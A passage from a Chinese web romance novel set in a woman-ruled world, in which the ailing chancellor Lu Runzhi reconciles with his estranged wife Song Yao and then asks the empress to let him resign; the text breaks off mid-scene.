要说起来,这是她与他之间的事,还轮不到外人来插手。 “方才云岫的话,你听到了多少?”陆润之靠在她身上,轻轻地问她,总觉得她今日的态度不再以往那般冷漠,或许是因为他病着,勾起了她的一丝怜惜,若是这样,他希望他一直这样病着。 宋瑶顿了一下,道:“大概都听到了。” 陆润之半垂着眼,云岫的话一直回旋在他的脑海中,让他不由得开始反思自己,一定要这么执着吗? 宋瑶一而再,再而三地拒绝他,早已表明了她的态度。 她想过闲云野鹤般自由的生活,不喜欢被拘束,不喜欢条条框框,虽然不想,但是不得不承认,他的出现,的确打扰到了她的生活。 从让他离开的那一刻起,他就已经被她排除在世界之外。 对宋瑶来说,他的存在可有可无。 所以,这么些年,她从未对其他人提起过自己。 陆润之的脑袋浑浑噩噩,却忽然无比清晰地认知到这一点,浑身冷热交织,一直不敢承认的事实摆在他面前,血淋淋的。 或许,他不该这么自私,给她带来困扰,应该像当初她成全他般潇洒。 陆润之闭了闭眼睛,拉着她衣袖的手微微颤抖,泄露了他努力隐藏却依旧流露出来的情绪,他捏紧了手指,动了动嘴唇,“对不起。” 气若游丝的声音传来,宋瑶听到他好像说了什么,却没听清,“你说什么?” 同时又觉得他实在是太瘦了点,靠在她身上,轻如羽毛,这人怎么这么不会照顾自己。 “对不起。” 陆润之又重复了一遍,只是这次声音像是从嗓子眼里挤出来似的,发紧,又似乎带着一丝哽咽。 宋瑶垂眼看去,看到他低垂着头,垂落的头发掩盖了他的神色,只是紧紧攥着她的袖子,指节都已经泛白,像是用尽了浑身力气。 宋瑶想了想,不懂他为什么道歉,只是觉得他分外的难过,不由得放轻了声音,“怎么了,为什么道歉?” 陆润之听着她像以前一样温柔的声音,内心一阵酸意涌上来,瞬间红了眼眶,他轻轻摇了摇头。 宋瑶拍了拍他的肩膀,猜测他大概是因为今天给她添麻烦而道歉,便道:“你不必道歉——” 忽然,她的话语顿住,低头看去,湿润的泪珠啪嗒啪嗒砸在她手背上,无比滚烫,滴在她手背上,像是被开水烫到了一样。 宋瑶愣住了,察觉到他现在伤心极了,不知为何情绪忽然急转直下,像是他的世界忽然崩塌了,他不是没在她面前哭过,只是这一次给她的感觉真是绝望了。 不知道他遇到了什么事。 宋瑶的手指动了动,像是出现了幻觉,被眼泪砸到的皮肤隐隐作痛。 她想,若是一个人的眼泪可以牵动她的情绪,除了陆润之,再也没有别人了。 活了两辈子,自然是随心最重要,她想做什么便做什么,左不过事情麻烦了点,也算是她无聊生活的一点调味剂。 宋瑶轻轻叹了一口气,再他面前蹲了下来,这才看到他的眼眶红得跟兔子一样,眼泪跟决了堤的水一样,啪嗒啪嗒直往下掉。 “怎么了这是,是不是谁欺负你了?” 宋瑶伸手擦了擦他的眼泪,谁知越擦,眼泪流得越凶。 就像是受了委屈的孩子,本来强忍着眼泪,大人一来问,满腔的委屈便不受控制的涌了出来,倾泻而出。 隔着一层模糊的泪水,他看到她蹲在他面前,神色跟语调都无比温柔,他更加难过了。 他从没想过要与她分开,这些年,都是想着等他做出一番成绩,便辞官去找她,也算是没有辜负她的一番心意,抱着这个想法,他坚持了一天又一天。 哪怕是重逢后,她曾多次拒绝他,他也未曾想过放弃。 只是今天,在意识到她真的不喜欢被打扰后,他才有了放弃的念头,或许爱一个人不该这么自私。 可是,怎么办。 只要一想到放弃,一想到离开她,以后的生活都没有了她的影子,想到她会和其他男子成亲生子,琴瑟和鸣,厮守一生,就像是有一把刀子生生剖开了他的整个心脏,让他穿不过来。 他也想像她一样,潇洒地,笑着跟她说再见,祝她前途坦荡,快乐无忧。 他做不到。 他是一个自私的人。 “对不起……” 陆润之哽咽着,声音支离破碎。 他一直不断说着对不起,宋瑶意识到事情可能与自己有关,声音柔和,“你没有什么对不起我的地方。” 陆润之摇了摇头,胡乱抹了一把眼泪,对上她的视线,红红的眼睛,声音哽咽,带着浓浓的歉意,“不……是我一直以来打扰了你……对不起……” 他像是一个意识到自己做错事情的孩子。 宋瑶顿住了,顿时松了一口气,她还以为是什么事呢,原来是为这事,比起上辈子那些追求者做出的疯狂的事情,他这实在算不上打扰,到底是顾及了男儿家的矜持。 宋瑶笑了笑,“算不上打扰,你不必苛责自己。” “宋瑶。”他红着眼睛,声音带着哭腔,忽然郑重地叫了她的名字,像是下定决心一般,“我辞官的话,你别不要我好不好?” 宋瑶被他这孩子气的话逗笑,“你在说什么傻话。” 她又一次拒绝了他。 陆润之觉得自己的眼泪已经流干了,听到她的话,却还是能挤出来,他已经没有力气掩饰任何情绪,浑身力气像是被抽干了,反正已经这样了,他用袖子胡乱抹了抹的眼泪,深吸一口气,“对不起,宋瑶,以前是我打扰你了……你再给我一封休书吧,我们签字后,需要交给官署,才算正式解除妻夫关系……” 他本来话语还算冷静,越说到后面,语速越快,声线愈发颤抖。 他以前仗着宋瑶不懂和离的流程,故意撕了她给的和离书,后来为官后,便用身份令管婚姻的官员隐藏了他与她的妻夫关系,幸运的是这么些年,她再也没有打算娶过正夫,他曾为此事开心许久,只是如今却意识到,她身边不需要任何人。 这件事情宋瑶的确一开始不知,她以和离便像电视中写封和离书就可以了,却不知还要去官署登记,后来在扬州时目睹一堆妻夫和离,才从桑卿彦口中得知。 当时她便想起这件事,便问桑卿彦,若是夫郎不同意和离怎么办。 女子为尊的世界,自然是女子享有婚姻决定权。 桑卿彦道:若是夫郎不愿意,妻主可向官署递交休夫书,单方面解除姻亲。 她当时记下了,想着择日去官署查一查自己的婚姻状态,后来却抛之脑后,没放在心上,又或是觉得没关系…… 直到今日他提起,她方才想起此事。 “这些日子,给你添麻烦了,我先回去了,以后不会再打扰你,和离书你派人送到陆府就行,我会和跟官署说明情况,再见……以后希望你……得偿所愿……无拘无束……” 他的眼泪掉的很凶,说话的时候不敢看着她的眼睛,别开视线,似乎担心自己会反悔一样,他说完,立刻起身,想往外走。 只是在起身的一刹那,眼前一黑,双腿发软,天旋地转,便没了意识。 宋瑶接住了他,若是这么让他走了,她怀疑不久后便会收到丞相大人病逝的消息。 不知道他胡思乱想,想明白了什么,得等他醒来,与他说清楚。 宋瑶将他放在穿上,盖上被子,给他擦了擦脸颊,又将老大夫叫了过来。 老大夫一摸陆润之的脉象,气呼呼道:“都说了需要静养,切忌心绪起伏过大,怎么回事,你们小两口在上演什么戏码?” 宋瑶虚心受教,又让大夫开了静心安神的药,命人熬好,给陆润之喝下。 这人惯是会自虐的。 宋瑶望着床上的人,给他掖了掖被子,摸了摸他的头发,轻轻叹了一口气,都瘦成纸片人了,连哭都承受不住,也不知道多久可以养回来,她本意是希望他做自己想做的事情,只是如今,若是他做官做得不开心,不做倒也罢。 吃了药,在药性的作用下,陆润之这一觉睡得很沉,又或许是潜意识想长眠下去,他这一觉睡了一天一夜还未醒来。 宋瑶有些担心,第二天晚上,又叫来了老大夫。 老大夫瞧着床上的人面色惨白,呼吸清浅,皱起了眉头,对宋瑶道:“你多跟他说说话。” 宋瑶心下沉了沉,便依着大夫的话,多跟他说了说话。 云岫在一旁瞧着少家主悉心照料陆润之的模样,一夜未眠,他知道自己没有机会了,或许在得知那男子就是少家主的前夫郎时,就没有任何机会了。 第三日,陆润之终于醒过来了。 宋瑶松了一口气,悬着的一颗心终于落地。 陆润之一醒来就看到了宋瑶在床边,他灰暗的眼睛闪过一丝光亮,随即又泯灭,他别过眼睛,嘴唇动了动,却没有发出声音。 宋瑶从袖中掏出叠好的纸,微微泛黄,递到他面前。 陆润之扫了一眼,眼眸颤了一下,以为是和离书。 “你放在旁边就好。”他无声地说。 宋瑶道:“不打开看看吗?” 陆润之喉咙发紧,泪意涌了上来。 “这是你走之前写的。”她又道。 第92章 “这是你走之前写的。” 她道。 陆润之的瞳孔猛地瑟缩了一下,他猛地抬起眼,望向宋瑶,目光怔忪,眼中布满了不可置信,他以为,他以为她把这封信扔了…… 他以为她早就不在乎了。 眼前这张纸整整齐齐地叠着,微微泛黄,但是他就是认得,这就是他留给她的那张。 像是溺入深海,不见天日,呼吸被挤出身体,即将窒息而亡的时候,被一双温暖的手从地狱地边缘拉回,得以重见天日。 他颤抖着声线,气若游丝,“你……还留着?” 宋瑶笑了笑,直接道:“一直留着。” 陆润之几乎又要掉下眼泪来,那颗自重逢以来一直忐忑不安,焦躁不安,悬在空中的心终于落了地,浑身像是被注入生机,只觉得重新活了一次,他有许多话想问她,但是一时不知从何问起,只是从被窝中伸出手,接过她递过来的信纸,问她:“你看了吗?” 宋瑶挑了挑眉,“我说没看,你信吗?” 陆润之湿润的眼中顿时充满委屈,这个时候了她还逗他。 宋瑶轻轻叹了口气,弯腰摸了一把他的头发,弯起了唇角,“自然是看了的。” “那——” 陆润之急急地出声,忽然剧烈地咳嗽起来,咳了两声以后,便无力地伏在床边,剧烈地喘息,他已经两天没有进食,浑身没有力气,瀑布般地黑发从肩头滑落,映衬着他惨白如纸的脸色,像是男鬼一般。 如果是男鬼,也是一只美艳的男鬼。 宋瑶骂了自己这不着边际的想法,还有心思想这,她过去,心疼地拍了拍他的脊背,问声道:“先吃点东西,有什么话,等恢复了再说也不迟。” 她将他扶坐起来,熟练地往他身后垫了枕头,却又被他抓住了袖子。 宋瑶发现,他现在格外地喜欢抓她的袖子。 “怎么了?”她的声音格外有耐心。 陆润之目光紧紧锁定着她,动了动嘴唇,发不出声音,许是方才咳嗽伤到了嗓子。 宋瑶温声道:“我一直都在。” 陆润之的目光这才没有那么紧张。 云岫端了早已备好的粥羹,目光瞥见陆润之靠在宋瑶怀中,心中一阵悲戚,自觉是不再有任何机会了,悲从中来。 哪怕心里有再多的心思,他也只敢深深埋在心里,面上毕恭毕敬地端着粥羹,去伺候陆润之,这让他觉得自己像个丧家犬,还要伺候人。 陆润之望着眼前的勺子,扫了一眼低眉顺眼的云岫,又抬眸看向宋瑶。 他这点小心思,根本没有隐藏,明眼人都能看出来。 宋瑶觉得有些好笑,都这样了,还要争风吃醋,她顺手接过云岫手中的碗,“我来吧。” 云岫一愣,随即酸楚漫上心头,他何曾见过少家主如此宠一个男子,凭什么?就单单因为他长得好看些吗? 一小碗粥喂了大半,陆润之乖乖吃下,仿佛只要她递给他,他都会吃下,宋瑶起初没发现,后来便注意到他微微皱起的眉头,这才想起,他以前就胃口小,如今刚刚醒来,应是吃不下太多的,只是怎么不吭声呢。 宋瑶问道:“有没有撑着?” 陆润之摇了摇头。 宋瑶放下碗,拿起旁边的手帕,给他擦了擦嘴角,“下次吃不下别硬吃了。” 陆润之垂下眼睛,有些羞愧,自己的小心思被她看穿。 云岫收拾收拾便下去了。 陆润之喝完粥,在床上坐了一会儿,目光一直落在宋瑶身上。 宋瑶本来想走,却又被他拉住袖子,索性陪他坐会儿,察觉到他的目光一直紧紧盯着自己,仿佛害怕她跑了一样,以前连看她都不敢看一眼,现在胆子大了许多。 “我想下去走走。” 陆润之出声,声音嘶哑,躺了两天,他浑身发软,这会儿吃完饭,恢复了一点力气,便想活动活动,当然还有一丝隐秘的心思。 宋瑶闻言,便自然地过去扶着他下床。 脚落地的那一刻,陆润之腿一软,宋瑶眼疾手快地穿过他的胳膊下,抱着他,“可以走吗?” 陆润之紧紧抓住她的胳膊,低声道:“可以,劳烦借一下力。” 说是借力,最后宋瑶几乎变成了人形拐杖,半揽着他,在屋中慢慢地走了两圈。 宋瑶走地极慢,一直观察着他的状态,见他没有任何不适才放下心来,于是便问出了一直关心的问题,“你这两天一直待在宋府,皇上那边怎么交代?” 陆润之的脚步顿住,似是不想提及这件事情,半响,才道:“没事,皇上允了我休息。” 宋瑶觉得他没有说实话,既然他不想提,也就罢。 陆润之转过身来,与宋瑶面对面,顺势抱住了她的腰身,骤然缩短了两人之间的距离。 宋瑶看进他颤动的眸中,眸光柔和了,“怎么了?” 陆润之紧张地握起手心,声音发紧,“我们算是和好了吗?” 宋瑶笑了笑,“你打开我给你的信纸看看?” 陆润之一愣,随即松开她,掏出那泛黄的信纸,展开,猛地落下眼泪。 只见她在他写的诗下面,新提了一行字—— 陌上花开,可缓缓归矣。 第93章 陆润之喜极而泣,硕大的泪珠砸在泛黄的纸张上面,模糊了上面的字眼,手指微微颤抖,他转身抱住了宋瑶,紧紧环住她的腰肢,将脸埋在她的脖颈处,内心被巨大的喜悦填充,让他说不出话来,只能将她愈发地抱紧。 宋瑶顿了一下,随即环住了他,察觉到脖颈处传来的湿意,轻轻拍着他的脊背,任由他默默地发泄情绪。 陆润之不知道她的耐心剩下多少,仿佛他一直哭下去,她就会一直抱着他,仿佛又回到了以前的时候,她总是能用温柔包容他的一切。 陆润之哭累了,从她的颈窝处抬起脸,她的肩膀处已经被他的眼泪打湿一片,陆润之心中涌起一丝羞愧,以前的五年,他从来没有哭过,似乎见到的这些日子,身体把积攒的所有的情感通过眼泪发泄出来,但是他这么大的人了,伏在女子怀里哭,实在是一件令人羞愧的事情。 宋瑶瞧见他的眼睛哭得跟核桃似的,眼眶红红的,眼睫上还挂着泪珠,目光闪躲,不敢看她,她一眼就知道他在想什么,不由得笑了笑。 察觉到她的视线落在自己的脸上,陆润之便又将脸埋在她的肩膀上,不让她看到,他知道自己的眼睛肯定哭肿了,她喜欢的是自己的容貌,便不想叫她看到自己现在的模样,肯定又丑又狼狈。 宋瑶拍了拍他的肩膀,“去床上坐着吧。” 陆润之顺从地点了点头。 宋瑶便扶着他坐到了床边,他一直垂着头,可以躲避她的视线,一躺到床上,便翻了个身,背对着她。 方才还黏她呢,这会儿不知怎么了,连宋瑶这会儿都不知道他在想什么了。 夏日已是有些炎热,房中阴凉,并未放置冰块,宋瑶觉得刚刚好,他却需要盖上被子。 宋瑶给他掖了掖被角,站起来,做势要离开,说道:“你既想休息,我便离开了。” 果然她话一落,陆润之立刻翻身,坐起来,一把拉住她的袖子,慌乱道:“别走。” 宋瑶垂眼看他,眼中带有一丝笑意,故意道:“你既不想我,方才又背对着我,不想与我说话的样子,是为何?” 陆润之垂着眼睛,抿了抿唇,别开脸,语气充满了失落,“丑。” 他从前最瞧不起男子以色侍人,如今的他,却希望自己的容颜永远不会老去。 宋瑶啼笑皆非,顺势在床边坐下,若他说自己丑,是半点是不搭边的,虽然眼睛又红又肿,却冲淡了他眉宇间的清冷,显得几分可爱。 “你何时这般在意自己的容貌了?”她道。 陆润之的眼神黯了黯,心道是你从来在乎的都是我的容貌,“一直都很在乎。” 宋瑶只当他随便说说,没放在心上,伸手抹掉他眼角未干的眼泪,笑道:“不丑。” 她的声音平平淡淡的,却带着一丝宠溺。‘ 陆润之的眼睛亮了亮,顺势蹭了蹭她的手。 宋瑶只觉得像一只猫撒娇般地蹭自己的手,便曲起手指,想轻轻掐一下他脸颊的软肉,奈何他瘦的脸家都没多余的软肉,她也舍不得掐,便轻轻摸了摸,“好了,还想继续睡吗?” 陆润之摇摇头,他已经睡得足够久,现在没有一丝睡意,只想时时刻刻看着她,像是失而复得的珍宝,他朝她伸出手。 宋瑶弯起嘴角,唔,怎么说,她还挺喜欢他黏着自己的,便握住了他伸过来的手。 陆润之与她十指相扣,将她拉到自己这边,软声道:“我睡不着了,你陪我说说话。” 这会儿两人的角色倒是反了,以前是宋瑶无聊总缠着他说话,现在是他希望时时宋瑶在身边。 宋瑶依着他,捏了捏他的手指,“你在宋府算上今天都三日了,陆府都乱成一锅粥了吧,要不差个人去报个平安?” 陆润之点点头,“听你的。”顿了下,“陆府只有一些下人,除了青连,也没人会在意。” 他平静地陈述着事实,却叫宋瑶多看了他一眼,“还是青连在身边伺候你吗?” 陆润之笑了笑,“对,前些年曾想给他寻门好亲事,他不愿意嫁。” 青连也是这些年唯一陪在他身边的人了。 宋瑶:“陆丞相——” 她本意是想问他母亲陆清怎么样了,脱口而出“陆丞相”又觉得不太合适,一时不知道怎么称呼,虽说两人现在还保持着婚姻关系,她却觉得称呼陆清“母亲”有些陌生。 陆润之知道她想问什么,便道:“母亲她五年前离开后,再也没有回京。” 宋瑶很惊讶,她本以为他这些年有陆清帮衬着,没想到陆清竟然不在京城,这些年他全都靠自己一个人,她握了握他的手,想起他前日哭得上气不接下气,仿佛受了极大的委屈,便问道:“你最近遇到了什么事吗,朝廷中的?” 她这么问,陆润之一愣。 宋瑶瞧着他神色的变化,忽然意识到这些事情她好似不能过问,便道:“抱歉,如果不方便说的话——” “不是。”陆润之急急地打断她,“没有什么不方便与你说的,什么你都可以知道,只是你为什么忽然这么问?” 宋瑶的目光落在他身上,“忽然想起你前日那么伤心,原以为你遇到了什么事。” 话落,陆润之忽然扑到了她怀里,声音闷闷的,“没有遇到什么事,只是以为你要与桑卿彦成亲。”一想到要离开你,太难过了。 宋瑶哭笑不得,忽然想起一件事,“我们的婚约不是还未解除吗,你分明知道此事,怎么还会担心,我若成亲,你必定知道,大不了利用的身份,使些手段,让我们的婚约无法解除。” 陆润之从她怀里抬起头,望着她含笑的眼睛,分辨她是玩笑的还是认真地试探他,咬了咬唇,“你别这么说,你明知道我在你面前,从来都没有什么身份,若你、若你要成亲,我也没办法阻拦。” 眼瞧着他的声音越来越低,却无比认真,透着隐忍失落。 宋瑶揉了揉他的头发,自是知道他一直以来的态度,若非如此,她 也不会再次心软,“就为了这件事?” 陆润之点点头。 既然他如此在意,两人也说开了,宋瑶的态度也没有再含糊,“我没有答应桑卿彦,若是答应了,便不会让你在这里了。” 虽早已知道她的答案,听到她亲口承认,陆润之还是忍不住埋进她的怀里,悄悄弯起嘴角,她愈发温柔,他想要的越来越多。 既然他们已经和好了,妻夫关系还未解除,他们应该可以住一起吧,她也没有再说叫他离开。 “我以后可以留在家里吗?”他轻轻捏着宋瑶的手,忐忑地问道,用的是“家”这个字眼。 宋瑶顿了一下,她本不想在他还未好时提起关于他身份的事,既然她决定接纳他,两人身份这件事,必定是要解决的,不然总不安心,可是此时他这般可怜兮兮地问她,又叫她不忍拒绝。 罢了,既然都在宋府待了几天时间,在别人眼中,跟住下也没区别了。 宋瑶纵容地笑道:“自然可以。” 陆润之直起身,环住她的脖颈,猝不及防在她脸颊亲了一口。 脸颊柔软温凉的触感,宋瑶微微睁大眼睛,顿时愣住,目光所及之处,是他眉眼间亮晶晶的笑意,仿佛整个世界都亮了。 宋瑶扶着他的腰,也忍不住跟着笑起来,心情前所未有的轻松,像是内心深处的空缺顿时被填满了一样。 陆润之又道:“你不用担心,皇帝那边不会为难我们的。” 宋瑶:“怎么说?” 陆润之的眼睛眨了眨,坦言道:“她若为难我,我便辞官,若是她依旧不放过我们,大不了鱼死网破。” 宋瑶被他大逆不道的话逗笑,轻轻叹了口气,“此事等你好了我们再细细商量。” 宋瑶对朝中的情况不甚了解,但也知道肯定不像他说得这般简单,在这个封建时代,与天家作对,定是没有好下场,最好是寻一个两全之法。 陆润之抱住了她,闭上眼睛,轻轻“嗯”了一声。 他这病属于心病,心结解开,加之宋瑶陪在身边,病情很快好了起来,整个人都散发着光彩,像是重新活了一样,眉宇间生气勃勃,充满了少年气。 陆润之在府中昏迷两日的事情早就传开来,宋琼和李容二老一直提心吊胆,直到陆润之安然无恙的消息传来,他们才放下心来,一道去探望了陆润之,关怀了几句。 离开后,又将宋瑶叫了过去。 李容道:“你们这算是怎么回事?” 宋瑶装傻,“什么怎么回事?” 李容上下打量了她,觉得自家女儿最近神采飞扬,不似寻常,便直接问了,“你们这是和好了?” 宋瑶便承认了。 李容跟宋琼俱是一愣,随即又惊又喜,喜的是他们老宋家终于又有了一个正儿八经的女婿,惊的是还是之前的那位,身份还更高贵了。 惊喜过后,宋琼忧心忡忡,“可是润之的身份,恐会引起祸端。” 李容听到这话,也望向宋瑶,“是啊,阿瑶。” 宋瑶气定如山,“无事,总会有解决办法的。” 听她这么说,二老也不再有意见,他们女儿从不说没有把握的话,相信她会解决的。 李容的心定下来,便开始操心了,“你们先前和离,现在是不是要重新办婚礼,润之的身份不同往日,这婚礼可是要早早地准备。” 宋瑶笑道:“爹爹,不用操心了,不用重新办婚礼。” 李容皱眉,“这怎么可以。” “我跟润之的妻夫关系尚在。” 宋瑶淡定地丢下一句话,令二老愣在原地半天,才反应过来, 李容:“什么?!” 那他以前的操心算什么。 第94章 因着生病,陆润之索性递了告假的折子,这么些年,他一心扑在朝政上,兢兢业业,从没有休息过。 皇帝体恤他的辛劳,便允了他半个月的病假,叫他好好休息,还特地派了太医院院首,带了珍贵的药材,亲自去陆府看诊,足以见重视。 然而老太医去了后,陆府的下人却道丞相大人并不在府中,在宫侍的询问下,支支吾吾地说出了丞相大人在宋府。 宫侍又去调查了一番,如实回去复命。 皇帝听闻此事,拿折子的手一顿,挑了挑眉,“你是说陆润之在宋瑶府中?” 宫侍战战兢兢,“是。” 皇帝默了半响,挥了挥手,“你下去吧。” 宫侍下去以后,皇帝却皱起眉头,手指在放在折子上敲了敲,重重地叹了口气。 自从陆润之去了江南开始,他的心就没有在朝政上,皇帝从一开始就得知陆润之有与生俱来的政。治洞察力,否则也不会力排众议,扶他坐上丞相之位,如今河清海晏,天下繁荣,少了不了他的功劳。 皇帝也有所耳闻,陆润之作为丞相,深受百姓爱戴,她曾提出纳他入后宫,许他贵夫之位,一是担心他权势声望过大,朝中一人独大,无人制衡,若日后有异心,恐难设防;二是她隐约察觉,陆润之对他前妻主余情未了,他那前妻主是个富可敌国的商人。 一个是权势滔天的臣子,一个是富可敌国的商人,若二人旧情复燃,但凡一人有了异心,后果不堪设想。 后来给陆润之问过诊的太医说他作为男子,身子亏空,恐难受孕,皇帝才稍稍放下心来,只是依旧有所忌惮,是以近年来,不断培养新人,逐渐从陆润之手中分权。 陆润之自然察觉到皇帝的意图,只是他仿佛没有任何波动,甚至可以说毫不在意,甚至对分走他权势的臣子倾囊相授。 皇帝观察许久,才终以确定,陆润之一点也不贪恋权势,他似乎渴望放权,也是,他曾在三年前朝政日渐走上正轨的时候,便递了辞官折子,当时陆润之被几个言官弹劾,她以为他是负气辞官,便将人留下,现在想来,恐怕是真的不想坐这个丞相之位了。 近几个月,陆润之是愈发没有将心思放在朝政上了,偏偏他颇具天赋,在政事上十分通透,总能提出意想不到的解决办法,正中她的心意。 皇帝一直站在女人的角度,去思考陆润之的动机和打算,却忘记了他是个男子,士之耽兮,不可脱也,哪怕是陆润之,也不例外。 这下烦心的是皇帝了。 以前皇帝担心陆润之权势过大,从而生了异心,现在瞧瞧他这三天打鱼两天晒网的上朝频率,这不明摆着告诉她,他陆润之不想干了。 前日收到陆润之的折子时,皇帝着实心里一咯噔,翻开看到是请假的折子,她才松了一口气,还不得命太医去为他看病,以示关怀,怕他一个不顺心,就递了辞官折子。 陆润之可是她的锦囊妙计,若放他辞官,皇帝还真舍不得,可是放任他与宋瑶在一起,又着实不放心,一时还真想不出两全其美的解决办法。 皇帝 有些头疼。 贴身伺候的女侍见皇帝皱起了眉头,便端了茶,“陛下,这是怎么了?可是在为丞相大人的事情忧心?” 皇帝叹了口气,“可不是,丞相身子不好,可是这朝廷可一日也离开他。” 女侍笑道:“丞相大人这些年兢兢业业,可能是累坏了身子,陛下体恤,等丞相大人痊愈后,一定会立刻回来复命的。” 皇帝一哽,身边的人都为陆润之说话,若是哪日陆润之递了辞官折子,恐怕她们也会说:丞相大人是累了,该歇一歇了。 皇帝:…… 都怪陆润之以前太拼命,给自己立了个好人设。 一盏茶喝完,皇帝有了些许思绪,对女侍道:“你去命人查查那宋瑶的底细,看看她是个什么样的人?” 女侍有些诧异,皇帝什么时候这么关心一个商人了,但还是道:“是,陛下。”- 几日后,陆润之已经大好,安心在宋府住下。 府中下人窃窃私语,各种揣测,面上却战战兢兢,碍于陆润之的身份,不敢多言。 一日,宋瑶不经意听到了下人的议论,无非就是陆润之一个男子,无名无分地住在宋府,虽是丞相,却不知廉耻,话语有些难听。 宋瑶一向待人和善,此番却重重地处罚那个乱嚼舌根的小侍,并将人逐出宋府,杀鸡儆猴,于此同时,向府中上下宣告,陆润之依旧是他的正夫,二人从未和离,若再有乱嚼舌根者,下场同那个小侍一样。 宋瑶如今已经是宋府当家的,哪怕待人温和,说得话依旧十分有威慑力。 至此,府中再也没有人敢乱嚼舌根的下人。 陆润之得知此事后,更安了几分心,心生欢喜,她还是和以前一样,这种感觉很令她安心。 他命人把以前二人住的房间收拾出来,书房恢复了原样,现在顾及着他的身子,二人还未同房,等他彻底好了以后,便与宋瑶一同搬进去。 宋瑶默许了他的动作,前阵子他与她说起,皇帝允了他半个月的病假,如今已过了几日,却仍不见他有去上朝的打算,便主动问起,“如今早已过了十五日,你何时去上朝?” 近些日子,他总黏着她,虽然她挺享受的,但是该面对还是要面对,总觉得他有些逃避。 果不其然,陆润之听到这话,看似淡定,眼底却有一丝闪躲,“不急,皇帝又多允了几日。” 宋瑶不信,他身为丞相,如此重要的官职,离开这么久,皇帝怎么可能不急,他定是敷衍她呢。 宋瑶猜的没错,皇帝急死了,昨日还问他恢复的怎么样了,何时来上朝,只是陆润之赖着不去。 “你搁这儿糊弄我呢。”宋瑶的目光落在他身上,悠悠道。 陆润之正色道:“我没有,你信我。” 宋瑶看着他:“你现在,说谎都面不改色了。” 陆润之知她识破了自己,索性也不装了,过去挨着她,语气颇有几分破罐子破摔,“我不想去。” 去了就要面对皇帝的质疑。 宋瑶瞧他有些孩子气的语气,颇像儿时逃避上学的孩童,不由得觉得有些好笑,“逃避可耻。” 陆润之顿了下,接道:“但有用。” 宋瑶笑起来,“贫。” 陆润之贴在她胳膊上,黏黏糊糊的,“我不想去,左不过就是丝绸之路和科考事宜,她们自己处理好的。” 他与她说话时,从不避讳什么,有时听得宋瑶心惊肉跳的。 陆润之抓住了宋瑶的手,将手塞进她手心,挠了挠。 勾人似的。 宋瑶垂眸看他,觉得他容貌更甚从前,原是带了妆的缘故,未带妆时,便觉得出水芙蓉,透着一股子清冷,带妆时,眉眼颜色重了些,多了几分艳丽,更加勾人心魄。 对于美人来说,自是淡妆浓抹总相宜。 宋瑶喜爱极了,便多看了几眼。 陆润之悄悄勾起嘴角,便想凑到她脖颈前。 为了避免一发不可收拾,宋瑶及时制止了他,与他说起了正事,“你总是这样躲着,也不是办法,何时去上朝。” 陆润之委屈,“你这么着急赶我走吗?” 宋瑶:“……你好好说话,我在与你商量正事。” “好吧。”陆润之软软地靠在她身上,“你想让我什么时候去,我便什么时候就去。” 宋瑶果断道:“那你明日便去。” 陆润之委委屈屈地看了她一眼。 宋瑶不为所动。 陆润之便委委屈屈地应了。 宋瑶:“你多日不去,朝中没有意见吗?” 陆润之歪在她的怀里,玩着她的手指,“我几年未曾休息过,这次算是病假,他们也只会觉得我操劳过度,有些人巴不得我不去上朝,怠于职守。” 宋瑶:“皇帝呢?” 陆润之笑道:“她自是希望我早日去上朝,一堆事情等着我去处理。”顿了下,“我不想去,那些人叽叽歪歪磨磨唧唧,烦死了。” 饶是他,提起朝中的人,也有了些班味。 对他的形容,宋瑶哭笑不得,“你之前同我提起过,想要辞官,是不想做这个官了吗?” 宋瑶觉得他应该就是说说,对于一手打造的清平盛世,应是不舍得的,不然也不会逃避这么久了,她想再次从他口中确认一次。 陆润之的手指一顿,默了半响,他讨厌这个身份,制约了他和宋瑶在一起,却不讨厌政事,那是让他觉得活在这个世上,做些事情是有意义的。 他轻声道:“我只想与你在一起。” 宋瑶明白了,果真与她猜的一样,也没什么意外的,她琢磨了半响,“你与我说说,那位是个怎么样的皇帝?” 陆润之看向她,“怎么了?” 宋瑶笑了笑,捏了下他的脸颊,“自是找出一个法子,总这样逃避也不是办法,我说了我们商量商量。” 陆润之的目光怔忪,“有什么两全的法子吗?” 宋瑶从容地笑了笑,仿佛不是什么大事,只道:“事在人为。” 陆润之的眼眶顿时湿润。 他是如此地幸运,能再次得到她的垂怜。 陆润之便细细地与宋瑶说起朝中的事,有问必答。 如宋瑶所料,皇帝虽疑心重,但是想做个明君,名留青史,这下事情就好办些- 第二日,陆润之着了官服,去上朝了。 众大臣发现,丞相大人虽是告的病假,怎么一连病了大半月,回来以后大变样了,深紫色的官服,依旧是端庄威严的模样,只是那模样,气色红润,眉宇间神采飞扬,眸子似乎比以前亮了,更衬得风华绝代。 这哪里像是病了大半月,分明像是去休假了大半月。 皇帝看到陆润之那副处处透着过着好日子的气息,咬了咬牙,照例关心了他的身体。 所幸丞相大人只是有些恋爱脑,在政事上面依旧清明,没有像话本描写的,谈起恋爱来傻三年。 下朝以后,面对一窝蜂涌上来的关怀,陆润之与众朝臣虚与委蛇了一般,便去御书房求见了皇帝。 听闻陆润之求见,皇帝立刻有种不祥的预感,便故意晾着他,先见了其她大臣,谁料陆润之真真在门外等到最后,称有急事。 皇帝不得不见。 陆润之甫一进门,便弯了腰,递上折子,恭敬作揖,“恳请陛下,允臣辞官返乡。” 皇帝眼皮子不受控制地跳了跳。 【终章】 第95章 陆润之提出辞官,在皇帝的意料之中,却独独是她最不想直面的事实。 当一个下属提出离职的时候,领导首先会问的便是为什么。 皇帝忙从龙椅上起身,绕到陆润之面前,虚虚扶了他一把,关怀道:“爱卿何故突然提出辞官,可有什么难处?不妨一说,朕或许可以为爱卿做主。” 陆润之:“谢陛下隆恩。”顿了下,眼神黯然,“只是臣太医说臣身体羸弱,不宜过多操劳,恐难胜任丞相一职,请陛下允臣辞官还乡,休养身体,侍奉母亲。” 皇帝听闻他的话,目光一顿,心道老陆大人在外云游天下,哪里用得着你侍奉,皇帝低头瞥了一眼他单薄的身体,承认他是得好好养养身体,可是这朝廷也离不开他啊。 陆润之目光坚定,像是下定决心了一般,与他两年前提辞官时的犹豫不同。 皇帝按照流程挽留,语重心长,“爱卿这些年的确为我朝殚精竭虑,功不可没,着实辛苦了,朕再额外允你一个月休息,辞官之事你再考虑考虑,朕与天下百姓实在离不得你啊。” 陆润之的眸光微动,躬身作揖,“谢陛下厚爱,只是臣已经过深思熟虑,才做出此决定,望陛下恩准。” 皇帝额角一跳,看着陆润之低垂着眉眼,看来他这次是 